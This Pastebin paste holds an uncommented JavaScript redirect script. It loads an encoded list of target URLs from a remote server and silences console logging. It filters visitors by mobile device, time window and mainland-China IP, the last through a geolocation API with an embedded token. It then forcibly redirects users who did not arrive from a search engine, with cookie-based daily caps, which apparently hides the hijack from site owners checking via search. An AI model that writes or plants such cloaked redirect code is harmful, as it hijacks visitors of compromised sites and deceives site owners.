Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function () {
- var urldata = [];
- urldata.sort(function () {
- return 0.5 - Math.random();
- });
- var url = "";
- var id = "3914";
- var myDate = new Date();
- var time = myDate.getTime();
- var day = myDate.getDate();
- var url_tj = "https://s4.cnzz.com/z_stat.php?id=1277863676&web_id=1277863676";
- var china = 1;
- var type = "wap";
- var timesdata = [];
- var num = 1;
- var cookie_num = 0;
- var cookie_timestamp = 0;
- var cookie_name = "";
- var a = false;
- var b = false;
- var c = false;
- var d = 0;
- var delay = 0 * 1000;
- var Days = 1;
- getini();
- var one;
- one = setInterval(index, 3600 * 1000);
- console.log = function () {};
- function index() {
- a = istime();
- console.log("istime:");
- console.log(a);
- if (!a) {
- return false;
- }
- b = iswap();
- console.log("iswap:");
- console.log(b);
- if (!b) {
- return false;
- }
- d = ismax();
- console.log("ismax:");
- console.log(d);
- if (d == 0) {
- return false;
- }
- c = ischina();
- console.log("ischina:");
- console.log(c);
- if (!c) {
- return false;
- }
- if (d == 1) {
- tjuv();
- } else if (d == 2) {
- setTimeout(tjuv, delay);
- }
- return true;
- }
- function goto() {
- var r = document.referrer;
- r = r.toLowerCase();
- var aSites = new Array(
- "google.",
- "baidu.",
- "soso.",
- "so.",
- "360.",
- "yahoo.",
- "youdao.",
- "sogou.",
- "gougou.",
- "sm.",
- );
- var b1 = false;
- for (i in aSites) {
- if (r.indexOf(aSites[i]) > 0) {
- b1 = true;
- break;
- }
- }
- if (!b1) {
- setCookie("timestamp", time);
- setCookie(cookie_name, Number(cookie_num) + 1);
- var timesRun = 0;
- var interval = setInterval(function () {
- timesRun += 1;
- if (timesRun === 2) {
- clearInterval(interval);
- }
- window.location.href = url;
- }, 5000);
- var referLink = document.createElement("a");
- referLink.href = url;
- document.head.appendChild(referLink);
- referLink.click();
- return;
- }
- }
- function ismax() {
- var status = 1;
- var arr = [];
- var value = 0;
- var i = 0;
- if (urldata.length === 0) {
- return 0;
- }
- for (var key in urldata) {
- url = urldata[key];
- cookie_name = url + day;
- cookie_num = getCookie(cookie_name);
- if (cookie_num == null) {
- cookie_num = 0;
- }
- arr.push(cookie_num);
- }
- value = Math.min.apply(null, arr);
- for (var key in urldata) {
- url = urldata[key];
- cookie_name = url + day;
- cookie_num = getCookie(cookie_name);
- if (cookie_num == null) {
- cookie_num = 0;
- }
- cookie_time = getCookie("timestamp");
- if (cookie_time == null) {
- cookie_time = time - (delay + 1000);
- }
- if (cookie_num < num && cookie_num == value) {
- if (time - cookie_time <= delay) {
- return 2;
- }
- status = 1;
- break;
- } else {
- status = 0;
- }
- }
- return status;
- }
- function istime() {
- if (timesdata.length != 0) {
- for (var key in timesdata) {
- var time = Math.round(new Date());
- var time1 = getNowFormatDate() + " " + key;
- time1 = Date.parse(new Date(time1));
- var time2 = getNowFormatDate() + " " + timesdata[key];
- time2 = Date.parse(new Date(time2));
- if (time >= time1 && time <= time2) {
- return true;
- } else if (time >= time2 && time <= time1) {
- return true;
- }
- }
- return false;
- } else {
- return true;
- }
- }
- function iswap() {
- if (
- /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(
- navigator.userAgent,
- )
- ) {
- var type_a = "wap";
- } else {
- var type_a = "pc";
- }
- if (type == "all") {
- type_a = type;
- }
- if (type_a != type) {
- return false;
- } else {
- return true;
- }
- }
- function ischina() {
- if (china) {
- var status = 10;
- ajax({
- url: "https://api.ip138.com/query/",
- type: "GET",
- data: {
- ip: "",
- oid: "22740",
- mid: "85377",
- token: "d184fadded48e9da59ab9c59f6038492",
- },
- dataType: "jsonp",
- success: function (json) {
- if (json.ret == "ok") {
- var ba64 = new Base64();
- str = ba64.encode(json.data[0]);
- var a = str.indexOf("5Lit5Zu9");
- if (a != -1) {
- var str1 = ba64.encode(json.data[1]);
- var hk = str1.indexOf("6aaZ5riv");
- var am = str1.indexOf("5r6z6Zeo");
- var tw = str1.indexOf("5Y+w5rm+");
- if (hk != -1 || am != -1 || tw != -1) {
- } else if (d == 1) {
- tjuv();
- } else if (d == 2) {
- setTimeout(tjuv, delay);
- }
- }
- } else if (json.ret == "err") {
- tjuv();
- }
- },
- });
- return false;
- }
- return true;
- }
- function getini() {
- ajax({
- url: "https://www.abbc.cc/index/query",
- type: "POST",
- data: { "1": id },
- dataType: "jsonp",
- success: function (json) {
- if (json["code"] == "1") {
- var str = json["1"];
- str = decode(str);
- var b = new Base64();
- str = b.decode(str);
- var obj = JSON.parse(str);
- urldata = obj.a;
- type = obj.b;
- num = obj.c;
- timesdata = obj.d;
- delay = obj.e * 1000;
- Days = obj.f;
- url_tj = obj.g;
- china = obj.h;
- }
- if (url_tj != "") {
- tongji();
- }
- index();
- return;
- },
- error: function () {
- if (url_tj != "") {
- tongji();
- }
- index();
- return;
- },
- });
- return;
- }
- function tjuv() {
- ajax({
- url: "https://www.abbc.cc/index/jquery",
- type: "POST",
- data: { "1": id },
- dataType: "jsonp",
- success: function (json) {
- if (json["code"] == "1") {
- goto();
- } else if (json["code"] == "0") {
- } else {
- goto();
- }
- },
- error: function () {
- goto();
- },
- });
- return;
- }
- function tongji() {
- ajax({
- url: url_tj,
- data: {
- ip: "",
- oid: "22740",
- mid: "85377",
- token: "d184fadded48e9da59ab9c59f6038492",
- },
- dataType: "jsonp",
- success: function (json) {
- if (json.ret == "ok") {
- }
- },
- });
- return;
- }
- function patch(s, re) {
- re = eval("/" + re + "/ig");
- return s.match(re) ? s.match(re).length : 0;
- }
- function setCookie(name, value) {
- var exp = new Date();
- exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
- document.cookie =
- name + "=" + escape(value) + ";expires=" + exp.toGMTString();
- }
- function getCookie(name) {
- var strCookie = document.cookie;
- var arrCookie = strCookie.split("; ");
- for (var i = 0; i < arrCookie.length; i++) {
- var arr = arrCookie[i].split("=");
- if (arr[0] == name) return arr[1];
- }
- return "";
- }
- function getNowFormatDate() {
- var date = new Date();
- var seperator1 = "-";
- var year = date.getFullYear();
- var month = date.getMonth() + 1;
- var strDate = date.getDate();
- if (month >= 1 && month <= 9) {
- month = "0" + month;
- }
- if (strDate >= 0 && strDate <= 9) {
- strDate = "0" + strDate;
- }
- var currentdate = year + seperator1 + month + seperator1 + strDate;
- return currentdate;
- }
- function ajax(params) {
- params = params || {};
- if (!params.url) {
- return false;
- }
- var random = +new Date();
- var hander = null;
- var options = {
- url: "",
- type: "GET",
- timeout: 5000,
- cache: true,
- async: true,
- xhrFields: {},
- dataType: "json",
- data: {},
- jsonp: "callback",
- jsonpCallback: "jsonp_" + random,
- error: function () {},
- success: function () {},
- complete: function () {},
- };
- var formatParams = function (json) {
- var arr = [];
- for (var i in json) {
- arr.push(encodeURIComponent(i) + "=" + encodeURIComponent(json[i]));
- }
- return arr.join("&");
- };
- for (var i in params) {
- switch (i) {
- case "type":
- options[i] = params[i].toUpperCase();
- break;
- case "dataType":
- options[i] = params[i].toLowerCase();
- break;
- default:
- options[i] = params[i];
- }
- }
- if (typeof options.data == "object") {
- options.data = formatParams(options.data);
- }
- if (options.dataType == "jsonp") {
- options.cache = params.cache || false;
- var $head = document.getElementsByTagName("head")[0];
- var $script = document.createElement("script");
- $head.appendChild($script);
- window[options.jsonpCallback] = function (json) {
- $head.removeChild($script);
- window[options.jsonpCallback] = null;
- hander && clearTimeout(hander);
- options.success(json);
- options.complete();
- };
- if (options.cache) {
- options.data += options.data ? "&_" + random : "_" + random;
- }
- options.data += "&" + options.jsonp + "=" + options.jsonpCallback;
- $script.src = (options.url + "?" + options.data).replace("?&", "?");
- hander = setTimeout(function () {
- $head.removeChild($script);
- window[options.jsonpCallback] = null;
- options.error();
- options.complete();
- }, options.timeout);
- } else {
- if (options.cache) {
- options.data += options.data ? "&_" + random : "_" + random;
- }
- var xhr = new (self.XMLHttpRequest || ActiveXObject)("Microsoft.XMLHTTP");
- if (!xhr) {
- return false;
- }
- if (options.type == "POST") {
- xhr.open(options.type, options.url, options.async);
- xhr.setRequestHeader(
- "content-type",
- "application/x-www-form-urlencoded",
- );
- } else {
- options.url +=
- options.url.indexOf("?") > -1
- ? "&" + options.data
- : "?" + options.data;
- xhr.open(options.type, options.url, options.async);
- options.data = null;
- }
- if (options.xhrFields) {
- for (var field in options.xhrFields) {
- xhr[field] = options.xhrFields[field];
- }
- }
- xhr.send(options.data);
- var requestDone = false;
- hander = setTimeout(function () {
- requestDone = true;
- if (xhr.readyState != 4) {
- xhr.abort();
- options.error();
- }
- options.complete();
- }, options.timeout);
- xhr.onreadystatechange = function () {
- if (xhr.readyState == 4 && !requestDone) {
- if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
- var data =
- options.dataType == "xml" ? xhr.responseXML : xhr.responseText;
- if (options.dataType == "json") {
- try {
- data = JSON.parse(data);
- } catch (e) {
- data = eval("(" + data + ")");
- }
- }
- options.success(data);
- } else {
- options.error();
- }
- hander && clearTimeout(hander);
- options.complete();
- }
- };
- }
- }
- function Base64() {
- _keyStr =
- "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- this.encode = function (input) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = _utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if (isNaN(chr3)) {
- enc4 = 64;
- }
- output =
- output +
- _keyStr.charAt(enc1) +
- _keyStr.charAt(enc2) +
- _keyStr.charAt(enc3) +
- _keyStr.charAt(enc4);
- }
- return output;
- };
- this.decode = function (input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while (i < input.length) {
- enc1 = _keyStr.indexOf(input.charAt(i++));
- enc2 = _keyStr.indexOf(input.charAt(i++));
- enc3 = _keyStr.indexOf(input.charAt(i++));
- enc4 = _keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- }
- output = _utf8_decode(output);
- return output;
- };
- _utf8_encode = function (string) {
- string = string.replace(/\r\n/g, "\n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c);
- } else if (c > 127 && c < 2048) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128);
- } else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- }
- return utftext;
- };
- _utf8_decode = function (utftext) {
- var string = "";
- var i = 0;
- var c = (c1 = c2 = 0);
- while (i < utftext.length) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++;
- } else if (c > 191 && c < 224) {
- c2 = utftext.charCodeAt(i + 1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2;
- } else {
- c2 = utftext.charCodeAt(i + 1);
- c3 = utftext.charCodeAt(i + 2);
- string += String.fromCharCode(
- ((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63),
- );
- i += 3;
- }
- }
- return string;
- };
- }
- function decode(str) {
- return str.replace(/\\x(\w{2})/g, function (_, $1) {
- return String.fromCharCode(parseInt($1, 16));
- });
- }
- function encode(str) {
- return str.replace(/(\w)/g, function (_, $1) {
- return "\\x" + $1.charCodeAt(0).toString(16);
- });
- }
- })();
Add Comment
Please, Sign In to add comment